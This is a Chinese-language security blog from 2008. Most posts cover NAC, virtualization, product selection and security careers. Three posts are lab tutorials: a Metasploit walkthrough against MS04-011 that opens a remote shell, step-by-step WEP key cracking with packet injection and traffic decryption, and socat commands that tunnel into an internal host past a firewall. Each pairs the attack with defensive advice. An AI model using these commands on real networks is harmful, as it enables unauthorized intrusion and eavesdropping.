搜尋此網誌

2008年12月22日 星期一

Network Access Control - NAC

這幾年NAC的話題性熱度越來越高,相關的產品也越來越多。從Cisco、Extreme Networks等網路設備廠商,到Symantec、McAfee等防毒軟體廠商,大大小小的廠商陸續推出NAC產品,只為了搶得商機。

NAC的主要目的包含身分與網路資源存取管理、資安政策的落實以及避免遭受0-Day的攻擊。不過以0-Day的攻擊而言,NAC其實並不是一個很有效的管制方法。簡單說來,NAC就是為了確保(內部)網路環境的安全。跟傳統上為了保護內部網路而佈署的防火牆或防毒牆等設備是不一樣且互補的。換句話說,NAC正是因為內部管控議題的延燒而受重視,而且不只是技術面的問題,更是管理面的問題。

面對龐大種類的NAC產品,有一些特性是需要特別注意的:

  1. Pre-admission and Post-admission:Pre-admission是指在設備使用網路前就先進行存取的管理,也就是決定設備是否可以使用網路。而Post-admission則是指設備連上網路後,控制設備可以使用的網路資源或網路行為。
  2. Agent vs. Agentless:有些機制需要在被管控者的設備上安裝代理程式(Agent),有些則不需要。使用代理程式的機制,因為可以取得較詳盡的資訊,也可以作較多的控制,所以通常擁有較高的彈性與管理功能。但是在部署上的複雜度較高,以及整體效能上也通常較差。而無代理程式(Agentless)通常需要網路設備的配合,以達到管理與控制的功能。
  3. Inline vs. Out-of-Band:Inline指的是管理機制本身的機器是網路的組成分子,例如交換器或是內部使用的防火牆。而Out-of-Band的機器則是外加於原先的網路架構。Inline的方式因為可以直接管理與控制所有的網路流量,所以可以達到更好的功能。另外也可直接整合於網路架構中,特別適合新建構的網路。Out-of-Band的方式,在佈署上需要特別注意的是是否有架構上的限制,例如需要搭配支援802.1x或是VLAN的設備。
  4. Fail open vs. Fail close:也就是說當NAC機制失效時,網路的存取權限應該是開放給所有人還是全部拒絕?對Out-of-Band的機制,失效時雖然不會影響網路本身的運作,但是是Fail open還是Fail close才是需要特別注意的議題。

NAC在面對沒有存取權限的設備時,可以使用VLAN隔離、ARP導向等方式讓該設備無法正常的使用網路。相較於ARP導向,VLAN隔離因為是從設備上面著手,比較不容易產生漏網之魚,但是需要搭配支援VLAN技術的網路設備。

當然,這些特性不一定是互斥的。也就是說同一個產品,可能同時使用了兩個不同的方式(如Agent和Agentless)。目地當然就是希望能夠彼此截長補短,而衍生的問題就是管理的複雜性。NAC所要面對的問題是一個很複雜的議題(不管是從管理面或是技術面),其複雜度比防火牆還高出許多。在導入之前,可得好好想想自己的需求,並仔細比較各家產品之後再作決定。不然,利用不同產品疊床架屋似的佈署,美其名是多層次防衛,萬一成了三個和尚沒水喝,那可就損失慘重了。

2008年12月17日 星期三

虛擬世界虛擬化,資安政策落實化

虛擬化(Virtualization)是這一陣子認門的話題之一,從微軟RedHatVMWareXen等公司推出各式各樣的免費/付費虛擬化軟體,可見其受廠商重視的程度。之前我們常說網路是一個虛擬的世界,不過那是對人類而言,對電腦程式(作業系統)都還是存在於真實的環境(硬體)下。而虛擬化則是把程式或作業系統的執行移入了一個虛擬的環境,所以對程式而言,不再直接擁有硬體設備。以資訊安全的角度而言,每一個程式都會帶來額外的風險,而虛擬化軟體本身就有可能是受到攻擊的目標(雖然目前還沒看到真實的案例,僅止於概念)。除此之外,因為對人類而言,虛擬化通常也代表了複雜化,如何有效管理以避免產生安全的危害,更是一個重要的課題。有些虛擬化環境的管理軟體,可以幫助解決這樣的問題。但是如何把虛擬化環境與真實環境做有效的整合與管理,應該是未來必須加以克服的問題。

虛擬化對於資訊安全是正面還是負面的,各有不同的支持者。但是不管結果為何,根據過去的經驗,一個新的技術或應用會不會被企業所接受通常跟安不安全沒有直接的關係。所以對我們而言,所能做的就是了解虛擬化對資訊安全的影響,並知道應該如何加以有效防範。

Forrester Research在今年中提出了一份報告,對於虛擬化與資訊安全的關係基本上是持正面的態度。報告中指出,因應虛擬化,企業應該做的就是把原先資訊安全的政策延伸到虛擬化的環境。也就是說,虛擬化所帶來的技術上的新威脅並不是主要的安全問題來源,而是能不能有效管理這些虛擬的東西。這些虛擬的東西包含了虛擬網路(Virtual networks)、虛擬核心(Virtualization Kernel)、乘載虛擬系統的作業系統(Console operating system)以及當資料轉移時在網路傳遞的影像(Live migration network traffic)。除了在網路上傳遞的影像,虛擬磁碟的檔案本身,以及記憶體的存檔,都是必須嚴加保護的資料。而虛擬環境的管理系統,那就更不用說了,一定要做好控管,不然等於敞開大門讓宵小直驅而入。

另外因為虛擬化的系統往往不是24HR開啟的,甚至有些是有需要時才開啟,所以如何確保系統本身是在最新的更新狀態下,就是一個重要的課題。這個可以透過所謂的Offline更新的方式,讓沒有開啟的系統也可以進行更新。不過,想當然爾,通常並不是連應用程式都能更新,所以還是會有一些死角(有可能是蠻大的死角,要看虛擬化系統的應用為何,也就是上面執行了哪些程式)。還有一個方式就是使用NAC的產品,讓未更新的系統必須先經過更新的動作才能連結到企業的網路。

2008年12月15日 星期一

從楊遠致看資訊安全產品選擇

英國的一個科技網站 vnunet.com 於日前選出了10大表現最糟的CEO,其中任職以來飽受攻擊的楊致遠打敗前HP美麗女CEO,獲得了冠軍。楊致遠在面對微軟的收購案時,表現得令所有人感到失望(包含一般投資者與大股東)。唯一不感到失望的,大概就是當時的楊致遠以及現在的微軟CEO-Steve Ballmer了。甚至我猜Steve Ballmer應該曾經連續好幾天因為竊喜而睡不著覺才是。這件事跟資訊安全有甚麼關係,嚴格來說是沒有的,但是既然我寫了,當然就是要想辦法扯上關係。

我們在評估資訊安全解決方案(或廣義的產品,包含軟硬體、服務與管理措施)時,通常講究的是Cost Effective,就是成本與效益的比例。如果可以量化加以比較,當然通常是越高越好。這個有點像是我們在買電子產品時所謂的C/P,也就是價格功能比。除了所謂的Cost Effective原則,其實我們還有兩個更重要的限制(Constraints)需要加以考量,一個是理論上最重要的限制,也就是最低的功能需求。另外一個則是實務上最重要的限制,那就是價格。因為企業的資源有限,所以無法用無上限的預算去佈署一個解決方案。相較於價格的限制,最低功能需求的限制往往很難有效加以實現。主要的原因在於很多功能達成與否,是很難用量化的數字去比較。就算有了量化的數字,評斷方法的公平性、廠商數據的可靠性、乃至於數字的適用性都有相當的討論空間。以大家最常用數字加以評斷的防毒軟體攔阻率來說,即使有了Third party的獨立實驗室加以測試,但是依舊有不少廠商沒有加入,甚至有廠商質疑測試方法的公平性(因為每家產品各有所長)以及病毒攔阻率已經不能代表這類軟體的可用性(因為除了病毒還有更多其他種類的惡意程式)。把複雜的情況加以簡化來說,就是同時在滿足最低功能與最高價格兩個限制下(至少兩個,也有可能還有其他你專屬的限制,如廠商的名聲),擁有最佳Cost Effective的解決方案就是首選。

而楊致遠的狀況,當然不像採買防毒軟體這樣"單一功能性"的產品這麼單純。以一個CEO來說,他要負責的事情是很全面的,也就是同時需要具備不同的功能(能力)。同樣的,因為沒有人面面俱到,所以各項功能間孰重孰輕,就影響到了如何找出"一個"對整體而言最佳的解決方案。當然,我們也可以把不同的功能交由不同的解決方案加以負責,但是這雖然減低了比較不同產品適用性的複雜度,卻也增加了日後管理的複雜度與有效性。就像把一個集團分成不同的公司,可以讓每個公司負責較小且專注的業務範圍,但是不同公司之間可能就會有資源重複或無法截長補短的缺憾。而且,也不可能細分到每個公司的所有人都只有單一業務。所以,一個具備多功能的解決方案無法避免,甚至有時候廠商會端出你根本用不到功能干擾你的評估結果。另外像是一些歷史包袱,也都會影響評估的過程與結果。就像你曾經跟A公司購買防毒軟體,而A公司表現得相當專業,所以你就繼續跟A公司購買防火牆。問題是防毒軟體跟防火牆是兩回事。也有可能多年後你從原先10人的小公司,轉換到10000人的大公司,你依舊決定透過A公司採買防毒軟體。同樣的,支援10人的公司所需要的能力跟支援10000人的公司也是不一樣。如果這些考量沒有釐清,就像找了能夠做出最成功的入口網站之一的楊致遠來管理一家全球性的網路公司一樣。楊致遠不是最糟,而是最不適任,真正最糟的是找他當CEO的那群人。

2008年12月1日 星期一

Metasploit 初體驗

最近在看Metasploit這個套件,最簡單的說法,Metasploit提供滲透測試者一個整合的環境,進行相關的任務。當然,Metasploit因為提供了良好的擴充性,所以也可以成為安全研究人員研究弱點的工具。而且最重要的是,這是免費使用而且是Open Source的工具。

雖然Metasploit比不上一些商業軟體,提供了高度自動化的滲透測試,但是相對來說彈性就更大。而且執行一個基本的測試,其實也不複雜,大概的流程如下:
  1. 選擇已知的漏洞(Exploit)。
  2. 選擇目標(Target)。這裡所謂的目標並不是哪一台/群電腦設備,而是指定設備的作業系統。因為不同的作業系統有不同的弱點與攻擊方式。
  3. 選擇攻擊的指令內容(Payload)。
  4. 設定其他相關參數(Option)。
  5. 進行測試(Explotation)。有兩種方式,一種是Check,並不會實際進行攻擊行為,所以不會造成被攻擊電腦設備的損害,但是準確性不高,而且不是所有的弱點都可以用此方式加以測試。另外一種是Exploit,也就是真正進行攻擊的行為,不會有誤判的問題,但是不小心可能會把電腦設備搞掛。
當然在執行1之前,我們必須有可能被攻擊目標的清單。除了手動額外執行相關的偵測行為外,更方便的是可以透過與nmap/nessus整合的功能,直接將nmap/nessus檢測的結果作為後續檢測的資料來源。

以下我用一個簡單的例子說明實際的操作方式(使用BackTrack 3.0就內建了Metasploit,而不需要自行安裝):
  1. 使用msfconsole,進入後會顯示版本與其他相關資訊。除了msfconsole外,也提供了msfweb(透過瀏覽器操作)。另外還有msfcli,可以與其他script結合而達到自動化。基本上我喜歡打指令的方式,不過msfweb有搜尋的功能,這部分在msfconsole上並沒有提供。鍵入help可以看到所有的指令。
  2. 選擇Exploits,在例子中我們使用ms04-11 (use windows/smb/ms04_11_lsass) 這個漏洞。這個漏洞主要針對Microsoft Windows 2000與早期的Microsoft Windows XP版本。執行後提示符號也改成相對應的文字。
  3. 查詢包含此漏洞的作業系統 (show targets)。
  4. 設定目標為Microsoft Windows 2000 (set target 1),此主機是我為了測試特別安裝的系統。如果不確定其作業系統,可以設定為自動偵測 (0)。不過我在實際的執行上,發現並不是100%準確,而有時候會影響到測試的結果。
  5. 選擇攻擊的指令,在範例中我們選擇建立一個tcp的連線,並開啟一個shell (set PAYLOAD windows/shell/bind_tcp)。
  6. 查詢其他相關所需的參數 (show options),有些參數為必須設定(Required欄位為yes),有些則可由使用者自行決定。此漏洞需要指定被攻擊電腦設備的IP位址(RHOST),我們設定為192.168.0.14 (set RHOST 192.168.0.14)。
  7. 進行實際的攻擊(exploit),顯示攻擊成功後開啟遠端作業系統的shell。
  8. 執行ipconfig(遠端作業系統的指令),顯示確實為192.168.0.14這台電腦設備。
當然,Microsoft Windows 2000是很早期的作業系統,在一般的環境下比較少見了。但是Microsoft Windows XP SP3呢?大概還是目前佔有率最高的作業系統。同樣透過Metasploit,我們可以攻擊Microsoft Windows XP SP3相關的漏洞。簡單嗎?看下面的範例就知道了。
可怕嗎?也許吧。這類的工具會不斷的進化,不但讓"好人"進行測試的門檻降低,也讓"壞人"進行破壞更加方便。我們該做的,還是做好原本就應該進行的保護措施,例如定期/主動進行更新。有多少人可以做到呢?根據一份報告顯示,只有不到2%的人辦到了。希望你我都是那2%的一份子。

2008年11月26日 星期三

無線網路封包擷取

在之前的文章 - WEP Cracking - 中我談到如何破解WEP的金鑰。破解金鑰之後有甚麼用途?
  1. 可以加入無線網路成為其中的一份子,然後"使用"其內部的相關網路資源。
  2. 可以透過此一無線網路對其他網際網路的主機進行"非法存取"。
  3. 可以竊取此一無線網路上所傳遞的資訊。
  4. 可以監看此一無線網路上的使用狀況。
基本上3跟4是類似的事情,不過4是屬於合法的使用,而3則屬於非法的行為。在此我不鼓勵也不從事非法的行為(項目1-3),所以我這次要談的是4的應用。

還記得上次我們在破解WEP金鑰的時候,有產生一個封包的紀錄檔 (wifi-01.cap)。這個檔案紀錄了當時所擷取到的封包,只不過封包的內容是經過WEP加密的。aircrack-ng有一個工具,可以幫我們進行解密的動作。指令為
airdecap-ng -e 00:XX:XX:XX:XX:3C -w 61xxxxxxxxxxxxxxxxxxxxxxxx wifi-01.cap
其中61xxxxxxxxxxxxxxxxxxxxxxxx就是WEP的金鑰,唯必須使用16進位的方式加以表示。解密後的封包會寫入wifi-01-dec.cap,這個檔案就可以直接用packet analyzer(如wireshark)打開並觀看到其中的原始內容了。

不過上述方式需要手動執行兩個分別的動作,而且不能夠即時看到封包內容,很明顯跟我們熟悉的方式有一段差距。幸運的是,有不少工具可以即時對WEP進行解密,並顯示封包的內容,其中包含最好用的免費軟體之一 - wireshark。實際上,wireshark不只能夠解開WEP的加密,也可以解開WPA的加密方式。方法如下:

  1. 打開wireshark。
  2. 選擇Edit->Preferences,其中左方有一個IEEE 802.11的設定畫面,把我們所知道的WEP金鑰鍵入,同樣要使用16進位的格式。
  3. 選擇"OK"完成設定。
  4. 進行監測,可以即時看到解密後的封包。
  5. 當封包數量過多而你只想要觀看單一電腦的封包,同樣可以透過filter的方式。如果你使用Capture Filter的話,要記得必須使用MAC Address的方式加以設定,而不能使用IP Address。那是因為解密前只有MAC Address的資訊可以取得。

2008年11月25日 星期二

WEP Cracking

無線網路(WiFi)的方便性與其帶來的安全危害,一直是一個兩難的問題,尤其對於企業更是如此。其中一個問題,就是WiFi使用的傳輸方式(無線電)不像傳統有線網路那般"不容易"被攔截。任何人只要有一個無線網路的介面(這個已經是筆記性電腦的標準備配),在適當的範圍內,就可以分享你的網路與其上的資訊。而透過一些特殊的工具,可以使用的距離甚至比你想像的還要遠很多。

針對資料容易被監測的問題,當然就是採用加密的方式加以解決。目 前一般有WEP、TKIP(WPA)與CCMP(WPA2)三種。其中WEP因為一些設計的問題,很容易被破解,而WPA於日前也被部分破解了。儘管如 此,有些無線網路仍舊使用WEP的方式,尤其是一些家庭用的無線網路更容易發生。

破解WEP的原理與工具其實已經存在很久了,有些(如 Airsnort)甚至只要一兩個步驟就可以加以破解。傳統上,破解有線網路的協定可以使用任何支援Ethernet的網路卡,但是對於破解WEP而言, 並不是所有的無線網卡都提供相同的能力。甚至同樣的無線網卡,在不同的組態下,可能都會有不同的效果。

以監測封包而言,傳統網卡使用的是 Promiscuous Mode,以便擷取所有流經線路上的封包。但是對於無線網卡而言,因為同一個地區可能有多個無線網路,所以採用不一樣的方式。無線網卡使用Monitor Mode,以便擷取所有的訊號。又WiFi有多個無線頻道可以使用,所以必須透過頻道輪流掃描的方式擷取封包,或是僅針對特定的頻道擷取封包。所以有可能還是會有漏網之魚(封包)。另外,如果要對無線網路"塞"假造的封包(這樣的動作稱之為Packet Injection),更是需要無線網卡本身有支援這樣的功能才行。所以,儘管相容性已經有大幅的改善,但是還是要有合適的無線網卡,才能夠有效的加以操作。Packet Injection為什麼這麼重要,看了後面的範例你就知道了。

我試過BackTrackWifislax兩 個Live CD,也使用過筆記型電腦與外接的USB無線網卡,各種組合都有其不同的步驟,有些組合甚至可能會有不同的結果。Wifislax預設是採用西班牙文的介面,所以使用上較為不方便,以下的範例我就使用BackTrack 3.0 + ASUS WL-167g + aircrack-ng,無線網路則是使用自己的無線基地台:
  1. 使用BackTrack Live CD開機
  2. 鍵入指令 iwconfig 查看是否有抓到無線網卡。我的無線網卡名稱是rausb0
  3. 鍵入指令 airodump-ng rausb0 查看所有可接受到的基地台訊號。我們的目標是第二個無線基地台,其使用WEP的加密方式。需要特別注意的是BSSID、CH、與ESSID這三個資訊,後面的指令會用到。
  4. 鍵入指令 airmon-ng stop rausb0 以便關閉無線網卡的Monitor模式。
  5. 鍵入指令 iwconfig rausb0 essid Sxxxxxxxxxx key 1234567890123,其中Sxxxxxxxxxx須使用步驟2所看到的ESSID。而1234567890123則隨便填,並非真正的加密金鑰。成功後再次鍵入指令 iwconfig 確認設定生效。
  6. 鍵入指令 ariodump-ng -c 11 -w wifi --bssid 00:XX:XX:XX:XX:3C rausb0 以便擷取封包並記錄到檔案(wifi),以利後續之分析動作。其中11為步驟2中所看到的CH、而00:XX:XX:XX:XX:3C則為步驟2中所看到的BSSID。執行後我們需要特別注意的是Data這個欄位,如果收集到足夠的量就可以了(我收集了200,000個左右)。對於使用中的網路,這個值可能不難達成,但是如果你需要加快收集的速度,或是沒有其他人在使用這個無線網路,你就需要額外多做後面兩個動作,也就是Packet Injection。
  7. 鍵入指令 aireplay-ng -1 0 -a 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B -e Sxxxxxxxxxx rausb0 ,對無線基地台做驗證的動作。其中00:XX:XX:XX:XX:3C與Sxxxxxxxxxx請參考步驟2所查到的資訊,而 00:0A:FD:3A:79:7B是為了改變封包所使用的MAC位址,所以亂填即可。
  8. 鍵入指令 aireplay-ng -3 -b 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B rausb0 ,對無線基地台進行大量Packet Injection的動作。成功後應該會看到步驟6畫面的Data數值加快成長。
  9. 收集足夠的資料後,停止airodump-ng與aireplay-ng的指令執行。
  10. 鍵入指令 aircrack-ng -n 128 -b 00:XX:XX:XX:XX:3C wifi-01.cap 執行破解WEP金鑰。只要有足夠的量,破解的時間很快(我使用的範例是0秒 )。

所以我們要如何增進無線網路的安全呢?下列簡單的建議事項提供參考(僅就避免無線網路被濫用或監看而言):
  1. 使用較安全的加密協定,如WPA2/CCMP。
  2. 使用MAC Address Filter,限制特定的網卡使用無線網路。不過因為MAC Address並沒有加密,所以有可能被監測到並被竊取。
  3. 將無線網路當作外部的網路,而不是內部網路的一份子。也就是必要時採用VPN的技術,讓無線網路的使用者擁有更高的安全性。
  4. 確認無線基地台的涵蓋範圍,必要時加以限制。
  5. 最重要的是,擁有一個明確的無線網路使用規範。
對於有關無線網路安全較完整的說明,可參考Cisco所發表的文章-Five Ways to Improve Your Wireless Security

2008年11月24日 星期一

反向連結 (Reverse Connection)

傳統上,保護電腦主機的方式最基本的就是關閉不必要的服務,並且透過防火牆等網路設備避免外界連結非公開的服務。甚至,有些電腦主機並沒有所謂公開的IP位址(Public IP Address),進一步封鎖外界直接加以連結的管道。也就是說,在網際網路上想要連結到某個電腦主機,除了必須知道特定的公開IP位址(可能在電腦主機本身,也可能在NAT之類的設備),中間還必須沒有其他的設備加以阻擋。所以我們可以透過前述的方式避免不相干的人士(嘗試)連結到我們的電腦主機,從事破壞性的工作。

除了限制外面的人連到內部的電腦主機,更嚴謹的作法是限制電腦主機主動對外進行連線。因為一般的電腦主機僅執行特定的功能,所以對外進行連線動作通常是可以事先預期的,有些甚至是可以完全不需要對外連線。限制的方法可以從網路端著手(如網路型的防火牆),也可以從電腦主機本身加以限制(如Linux下的iptables,或是其他主機型的防火牆)。從網路上著手當然有其方便性,而且有集中式管理的好處,但是如果要符合每個電腦主機的需求,可能會產生過多的規則而影響了防火牆的效能。所以就像所有的安全機制一樣,我們可以同時從網路端與主機端著手,以達到截長補短之效。

雖然理論上幾乎大部分的電腦主機不需要主動對外連線,但是因為現在包含作業系統在內,大多都有主動線上更新的機制,所以除非你有在內部網路建置更新的環境,否則都至少會有連到更新網站的需求。而結果是,只要開放一個Port,透過Tunneling的技術,幾乎可以連到外部所有的服務。更甚者,透過Reverse Connection/Reverse Tunneling的方法,可以讓外界連到內部電腦主機上任意的服務。

一般的網路應用在進行連結時,都是由使用服務的電腦(又稱之為Client)向提供服務的電腦(又稱之為Server)發出連線的請求,待Server回應後才開始後續的動作(如驗證、傳送特定內容等)。而Reverse Connection則是將這樣的應用反過來,讓提供服務的電腦主動對使用服務的電腦進行連線的動作。這樣作有甚麼用?最簡單的應用就是可以讓駭客或是不懷好意的員工隨時從外部進入你的電腦主機搞鬼,甚至是搬"一些"資料出來。

這類工具早期以netcat為首,不過netcat已經很久沒有維護了,所以接下來我用socat這個軟體進行一個簡單的示範。基本上,不管是netcat或是socat,本身並沒有隱藏的功能,所以比較容易從主機上被發現其存在或正在執行中。至於網路上的流量,可以透過一些加密的協定(如SSH)來達到避免被偵測的目的。以下就開始說明此一範例:

1. 準備兩台電腦,一台IP是192.168.0.11,另外一台10.10.10.104。雖然兩台電腦都屬於Private IP Address,但是我的測試環境是將192.168.0.11當作是Public IP Address,也就是10.10.10.104這台電腦可以直接連到192.168.0.11,但是192.168.0.11卻連不到10.10.10.104。


2. 在10.10.10.104這台電腦執行
socat -d -d -d -t5 tcp:192.168.0.11:80,forever,intervall=10,fork tcp:localhost:22
此指令會讓10.10.10.104這台電腦不斷嘗試連到192.168.0.11的TCP port 80(也就是一般Web使用的Port,通常在企業是允許對外使用的),當連結成功後會連到本身的SSH服務(TCP Port 22)。

3. 在192.168.0.11這台電腦執行
socat -d -d -d tcp-l:8080,reuseaddr,bind=192.168.0.11,fork tcp-l:80,bind=192.168.0.11,reuseaddr,retry=10
此指令會讓192.168.0.11這台電腦使用TCP Port 8080讓其他電腦進行連結,當連結上後會連結到TCP Port 80。而因為TCP Port 80已經被10.10.10.104這台電腦進行連結並轉至本身的SSH服務,所以等於讓其他電腦直接連結到10.10.10.104的SSH服務。

4. 使用SSH連線軟體(如Putty),對192.168.0.11的TCP Port 8080進行SSH連線。當出現登入畫面後要打入10.10.10.104主機的帳號與密碼,而非192.168.0.11的帳號。登入成功後,透過ifconfig確認已經進入10.10.10.104這台主機。



5. 使用wireshark查看,確認之間傳遞的封包都經過加密處理。


經由上述簡單的範例,我們可以看到如何有效繞過防火牆的機制,連線到內部主機的服務。所以我們除了限制電腦主機可以主動對外進行連線的Port外,最好也加上允許連線的外部IP位址。此外,不管有沒有限制可以連線的IP位址,對於主機對外連線的使用,最好加以記錄。另外,當然也包含了主機本身的防護(如執行程式/Rootkit的偵測)。老話一句,多管齊下才是邁向更為安全之道。

2008年11月15日 星期六

Dell不只想靠新電腦賺錢,連舊的都不放過

Dell,這家靠著Build-to-Order策略拿下全球PC出貨亞軍的公司,這回也跟資安沾上了邊。Dell打的主義,就是利用電腦回收來賺錢。理論上,有多少的電腦出貨就應當有多少的電腦需要回收(只是時間的問題),所以數量有多大,我只能說超級大。其實這個並不是Dell最近才推出的業務,但是因為相關議題的被重視,所以Dell自然得趁勢好好地推銷一下。

看不見就等於不存在? - 如何安全刪除檔案  這篇文章中,我簡單帶到該如何刪除硬碟內的資料以及未正確刪除資料所可能面臨的問題。不但對個人如此,對企業而言所面臨的風險更加嚴重。所以對於資訊設備的汰換,應該有一定的處理流程,以確保公司的資料不會在外流浪。而Dell想做的,就是用一個完整的程序幫企業處理不用的舊資訊設備。當然,現在流行的Green-IT,自然也沒被Dell放過。回收品都會被取出所有可回收的部分加以利用,甚至有可能可以直接轉賣舊的元件給第三方(企業跟Dell是91分帳)。所以不但可以達到安全的報廢處理程序,也兼顧了環保,真是一舉兩得。此外,完整的處理程序紀錄,也可以達到符合資安政策或規範的要求。

台灣之前有所謂的回收獎勵金,不過種類並不齊全,而且是以環保為出發點。所以,回收品內的資料到哪去了,沒有人知道。甚至處理的流程是不是環保,也沒有人在乎,因為通常在乎的是那獎勵金。不管從安全還是環保的角度,"正確地"處理大量的回收資訊設備都是很重要的一個議題。如果透過Dell這樣的大公司,能夠帶起這樣的風潮,也算是功德一件。 如果再進一步把這個服務包含在Dell自己銷售出去的機器(至少是企業用的伺服器),我想那就更好了。只不過對Dell而言,幾乎甚麼東西都是選配,所以回收的服務依舊需要額外的費用,實在甚為可惜。

2008年10月27日 星期一

資安工作很酷嗎?

在"萬能的資訊安全工程師"這篇文章中,我提到有些公司似乎把所有的資安相關工作都歸納到一個人或是一小組人身上。最近看到一篇問券的報告分析,題目是最酷的資安工作,裡面把各式各樣的資安相關工作列出,並請受訪者勾選覺得最酷(Coolest)的工作。以下是結果的摘要:

  • 針對政府機關人員
1. Information security crime investigator/forensics expert
2. System, network and/or Web penetration tester
3. Forensics analyst
4. (Tie) Incident response, incident handler
4. (Tie) Security architect
6. Vulnerability researcher
7. (Tie) Network security engineer
7. (Tie) Security analyst
7. (Tie) Sworn law enforcement officer specializing in information security crime
10. (Tie) CISO/ISO or director of security
10. (Tie) Application penetration tester

  • 非政府機關員工
1. (Tie) System, Network, and/or Web penetration tester
1. (Tie) Information security crime investigator/forensics expert
3. Forensics analyst
4. Vulnerability researcher
5. Application penetration tester
6. Security architect
7. CISO/ISO or director of security
8. (Tie) Incident response, incident handler
8. (Tie) Sworn law enforcement officer specializing in information security crime
10. Security evangelist

除了名單上的職務外,還有一些沒有進入前10名排行的工作。所以,資安其實也是一個分工很細的專業領域,有點像是醫療一樣。除了有各式各樣的科別,還有作設備的、作材料的,乃至於作健康檢查的。當然,健康保險以及身後規畫,也是屬於醫療的相關產業。

至於我自己的選擇,滲透測試相關(不管是網路、系統還是應用程式)的職務我覺得最酷,因為一般人這樣做可是要坐牢的,所以只有少數的人有這樣的機會。你的選擇會是什麼?

相關連結:

2008年10月25日 星期六

資安一定要很高深嗎?

最近有一位從事開發資安產品多年的前國立大學資工系教授問我說,考上CISSP對工作上有甚麼幫助?我的回答是『目前沒有直接的幫助。但是就像以前學數學一樣,雖然大部分的時候沒有直接的幫助,但是會讓你的對某些事的觀念更加清楚,處理這些事情會更加好。』從對方的表情,很顯然這是不及格的答案。工程講究的應用,不能加以應用就是沒有用的東西。CISSP本就是一個全面性的資安認證,雖然這往往也是被詬病的地方(不夠專精在某部分),但就像每個科目都有其不同的屬性,我個人認為CISSP並沒有必要放棄這樣的特性。

如果他繼續問我數學對我有甚麼用?我的回答應該會是『讓我買東西時不會算錯錢。』什麼,又錯了?不但錯了,可能還會氣死一堆數學老師跟數學家。但是,當初學數學不就是希望能夠有效運用。而每個人每天都會進行數次的買賣,如果因為學好了數學讓每次買賣都能雙方不吃虧,這不就是最好的運用了嗎?或許我不用學好數學也可以進行買賣,但是學好數學可以讓我對買賣這件事更有把握。

所以,在學習到CISSP的內容前,雖然我知道技術不是資安的一切,但是卻無法全面性的提出說明。但是學了CISSP之後我了解資安的組成要素,也因此能夠知道要做好資安除了技術還有哪些也是不可或缺的。換句話說,學了CISSP之後讓我對資安的概念更加清晰,也改變了我的一些想法。這點有沒有價值?我個人認為資安最困難的部分在於觀念的建立,而不是技術的養成。會正確的設定PIX(Cisco的防火牆)很有價值,但是如果不知道為什麼,離開了PIX還剩下些什麼?甚至設定好了PIX,卻因為沒有正確的觀念而偷懶開了一個後門,這樣不但沒有價值,反而造成單位的危機。

雖然我從9年多前就開始使用了SSH、Tripwire、TCPWrapper、PortSentry、IPChains來保護公司的Linux系統,但是你問我學了CISSP有甚麼用,我不會告訴你因為念了CISSP所以我知道SSH用甚麼方式加密,又曾經有那些漏洞被攻擊(老實說,這種東西我也背不起來)。我會告訴你我知道要用SSH,而不使用SSH還在繼續使用Telent的人該打屁股。除此之外,我還會告訴你打死我也不會相信什麼『提供全面性的防護』這種謊言。而這些就是我所知道的資安。

後記:我當然知道資安相當廣泛,牽扯到許多高深的技術以及複雜且嚴謹的管理機制,不過資安的基本精神其實並不複雜。就像每家公司雖然規模與業務內容皆不相同,不過精神(目標)都是差不多的。而一直圍繞在高深的技術,卻忽略了最原始的目的與需求,甚至造成使用者的困惑,對資安推廣來說並不是一個正面的事情。不過千萬別誤會我,觀念與技術彼此是相輔相成,缺一不可,只是千萬別被技術給綁住了自己的想法與做法。

2008年10月22日 星期三

萬能的資訊安全工程師

最近在看104有關資訊安全的工作需求時,看到幾家公司有所謂的資訊安全工程師的職務,內容有些部分似乎是有些奇怪了。

其中一個就是資訊安全"工程師"必須訂定安全政策。安全政策的制定基本上不是一個工程師應該負責的,也不是一個工程師有權力負責的。政策算是比較高層的描述,不但會影響到整個公司,甚至必須貼近管理階層的想法。根據權責相符的原則,工程師沒有這麼大的權利,所以這樣的責任也不應該落到工程師的身上。有些人會再將政策細分,由上而下分為三種:Global、Topic-specific與Application-specific。而這些政策的負責人,都是該業務的負責人,也就是經營階層、單位主管與資訊資產的擁有者(資訊的擁有者並非所謂的系統管理者)。當然,經營階層沒有時間,也通常沒有足夠的專業去制定安全政策,所以通常是委由資訊安全長(CISO)制定後,交由經營階層或所謂的資訊安全指導委員會(Information Security Steering Committee)決議後才能公佈。即使是最底層的政策(Application-specific),負責制定的人也是該資訊資產的擁有者,而不是資訊系統的管理者或工程師。

會出現這個現象,或許還有一個原因,就是"政策"這兩個字被濫用了。我們常常看到作業系統或是其他資訊系統出現"政策設定"的功能,所以誤以為這些設定的項目就代表了政策。從前段的說明,這部分可以算是Application-specific的政策。所以為了有效區分,我們會將這些設定的規範稱之為標準(Standards)。當然,這些標準必須符合高層次政策的需求,或者是高於高層次政策的需求。政策與標準的分法,除了有所謂的層次高低之分,政策應該跟特定的系統或技術無關,而是跟公司的經營政策有關,而標準就是跟特定的系統與技術相關。因此,政策應該是不易變動的,而標準會隨著系統或技術的變更而變動。

另外一個現象就是資訊安全工程師必須監測資訊安全的執行狀況。嗯,這個就好像請倉管自己兼門口警衛一樣,東西不被偷光才怪。當然,有些系統具有稽核的功能,理論上可以避免這樣的問題的發生。但是從單一的系統著手,可以鑽的漏洞還是很多。像公司如果有一個規定是禁止使用MSN,但是通常誰可以使用MSN...大老闆,還有管理防火牆的那個人(可能還有一些他的麻吉)。出違規使用的報表?別忘了很多時候報表是可以修改的。事實上,我們也遇過客戶要求我們產品出的報表必須可以修改。要求的人可想而知,正是當然是所謂的MIS。

所以,我們需要透過獨立的稽核去確保政策或規定被有效落實。如果公司真的沒有足夠的資源,而且規模也沒那麼大,老闆就應該表現出關心的樣子,千萬別一付默不關心的樣子。如果真是這樣子,那就只好多巴結負責資訊/資安的工程師了,免得他把公司給出賣了。我相信人性本善適用於大部分的人身上,但是現今的資訊安全往往是禁不起任何一個惡人的破壞,所以完整的內控+內稽(必要時需加上外稽)將是越來越形重要的需求。重點是內控跟內稽必須由不同的單位所負責,這也就是所謂的責任分割(Separation of Duty)的安全原則。

從這些職務的需求可以看出,大部分的公司對於資訊安全這個議題還有很長的一段路要摸索。而從業人員呢,我想也必須自己摸索出屬於自己的路程。

